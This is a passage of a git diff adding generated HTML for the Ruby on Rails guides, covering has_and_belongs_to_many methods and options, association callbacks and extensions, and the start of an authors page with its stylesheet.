+<h5 id="_tt_em_collection_singular_em_ids_tt_2"><tt><em>collection_singular</em>_ids</tt></h5>
+<div class="para"><p># Returns an array of the associated objects' ids</p></div>
+<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assembly_ids
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_singular_em_ids_ids_tt_2"><tt><em>collection_singular</em>_ids=ids</tt></h5>
+<div class="para"><p>The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_em_clear_tt_2"><tt><em>collection</em>.clear</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.</p></div>
+<h5 id="_tt_em_collection_em_empty_tt_2"><tt><em>collection</em>.empty?</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><% if @part.assemblies.empty? %></span>
+ This part is <span style="font-weight: bold"><span style="color: #0000FF">not</span></span> used <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> any assemblies
+<span style="color: #FF0000"><% end %></span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_size_tt_2"><tt><em>collection</em>.size</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>size
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_find_8230_tt_2"><tt><em>collection</em>.find(…)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>. It also adds the additional condition that the object must be in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@new_assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at > ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_exist_8230_tt_2"><tt><em>collection</em>.exist?(…)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
+<h5 id="_tt_em_collection_em_build_attributes_tt"><tt><em>collection</em>.build(attributes = {})</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will <em>not</em> yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_create_attributes_tt_2"><tt><em>collection</em>.create(attributes = {})</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_has_and_belongs_to_many">4.4.2. Options for has_and_belongs_to_many</h4>
+<div class="para"><p>In many situations, you can use the default behavior for <tt>has_and_belongs_to_many</tt> without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a <tt>has_and_belongs_to_many</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>uniq <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>read_only <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:association_foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:counter_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:delete_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:extend</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:finder_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:group</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:insert_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:join_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:limit</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:offset</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:order</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:uniq</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_association_foreign_key_tt"><tt>:association_foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix <tt>_id</tt> added. The <tt>:association_foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">The <tt>:foreign_key</tt> and <tt>:association_foreign_key</tt> options are useful when setting up a many-to-many self-join. For example:</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"other_user_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_class_name_tt_4"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is <tt>Gadget</tt>, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Gadget"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt_4"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"factory = 'Seattle'"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also set conditions via a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>factory <span style="color: #990000">=></span> <span style="color: #FF0000">'Seattle'</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@parts.assemblies.create</tt> or <tt>@parts.assemblies.build</tt> will create orders where the factory column has the value "Seattle".</p></div>
+<h5 id="_tt_counter_sql_tt_2"><tt>:counter_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT … FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
+</tr></table>
+</div>
+<h5 id="_tt_delete_sql_tt"><tt>:delete_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the <tt>:delete_sql</tt> option, you can specify a complete SQL statement to delete them yourself.</p></div>
+<h5 id="_tt_extend_tt_2"><tt>:extend</tt></h5>
+<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_finder_sql_tt_2"><tt>:finder_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
+<h5 id="_tt_foreign_key_tt_4"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"other_user_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_group_tt_2"><tt>:group</tt></h5>
+<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=></span> <span style="color: #FF0000">"factory"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_include_tt_4"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.</p></div>
+<h5 id="_tt_insert_sql_tt"><tt>:insert_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to create links between the associated classes. With the <tt>:insert_sql</tt> option, you can specify a complete SQL statement to insert them yourself.</p></div>
+<h5 id="_tt_join_table_tt"><tt>:join_table</tt></h5>
+<div class="para"><p>If the default name of the join table, based on lexical ordering, is not what you want, you can use the <tt>:join_table</tt> option to override the default.</p></div>
+<h5 id="_tt_limit_tt_2"><tt>:limit</tt></h5>
+<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=></span> <span style="color: #FF0000">"created_at DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=></span> <span style="color: #993399">50</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_offset_tt_2"><tt>:offset</tt></h5>
+<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset ⇒ 11</tt>, it will skip the first 10 records.</p></div>
+<h5 id="_tt_order_tt_3"><tt>:order</tt></h5>
+<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=></span> <span style="color: #FF0000">"assembly_name ASC"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_readonly_tt_4"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt_4"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
+<h5 id="_tt_uniq_tt_2"><tt>:uniq</tt></h5>
+<div class="para"><p>Specify the <tt>:uniq ⇒ true</tt> option to remove duplicates from the collection.</p></div>
+<h5 id="_tt_validate_tt_4"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved_4">4.4.3. When are Objects Saved?</h4>
+<div class="para"><p>When you assign an object to a <tt>has_and_belongs_to_many</tt> association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.</p></div>
+<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="para"><p>If the parent object (the one declaring the <tt>has_and_belongs_to_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
+<div class="para"><p>If you want to assign an object to a <tt>has_and_belongs_to_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
+<h3 id="_association_callbacks">4.5. Association Callbacks</h3>
+<div class="para"><p>Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a <tt>:before_save</tt> callback to cause something to happen just before an object is saved.</p></div>
+<div class="para"><p>Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>before_add</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>after_add</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>before_remove</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>after_remove</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You define association callbacks by adding options to the association declaration. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=></span> <span style="color: #990000">:</span>check_credit_limit
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
+ <span style="color: #990000">...</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails passes the object being added or removed to the callback.</p></div>
+<div class="para"><p>You can stack callbacks on a single event by passing them as an array:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=></span> <span style="color: #990000">[:</span>check_credit_limit<span style="color: #990000">,</span> <span style="color: #990000">:</span>calculate_shipping_charges<span style="color: #990000">]</span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
+ <span style="color: #990000">...</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> calculate_shipping_charges<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
+ <span style="color: #990000">...</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If a <tt>before_add</tt> callback throws an exception, the object does not get added to the collection. Similarly, if a <tt>before_remove</tt> callback throws an exception, the object does not get removed from the collection.</p></div>
+<h3 id="_association_extensions">4.6. Association Extensions</h3>
+<div class="para"><p>You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_by_order_prefix<span style="color: #990000">(</span>order_number<span style="color: #990000">)</span>
+ find_by_region_id<span style="color: #990000">(</span>order_number<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">..</span><span style="color: #993399">2</span><span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you have an extension that should be shared by many associations, you can use a named extension module. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> FindRecentExtension
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent
+ find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at > ?"</span><span style="color: #990000">,</span> <span style="color: #993399">5</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=></span> FindRecentExtension
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>deliveries<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=></span> FindRecentExtension
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To include more than one extension module in a single association, specify an array of names:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=></span> <span style="color: #990000">[</span>FindRecentExtension<span style="color: #990000">,</span> FindActiveExtension<span style="color: #990000">]</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Extensions can refer to the internals of the association proxy using these three accessors:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>proxy_owner</tt> returns the object that the association is a part of.
+</p>
+</li>
+<li>
+<p>
+<tt>proxy_reflection</tt> returns the reflection object that describes the association.
+</p>
+</li>
+<li>
+<p>
+<tt>proxy_target</tt> returns the associated object for <tt>belongs_to</tt> or <tt>has_one</tt>, or the collection of associated objects for <tt>has_many</tt> or <tt>has_and_belongs_to_many</tt>.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">5. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+September 28, 2008: Corrected <tt>has_many :through</tt> diagram, added polymorphic diagram, some reorganization by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
+</p>
+</li>
+<li>
+<p>
+September 22, 2008: Added diagrams, misc. cleanup by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+September 14, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/authors.html b/railties/doc/guides/html/authors.html new file mode 100644 index 0000000000..973cf7cd2e --- /dev/null +++ b/railties/doc/guides/html/authors.html @@ -0,0 +1,227 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>About the Authors</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; 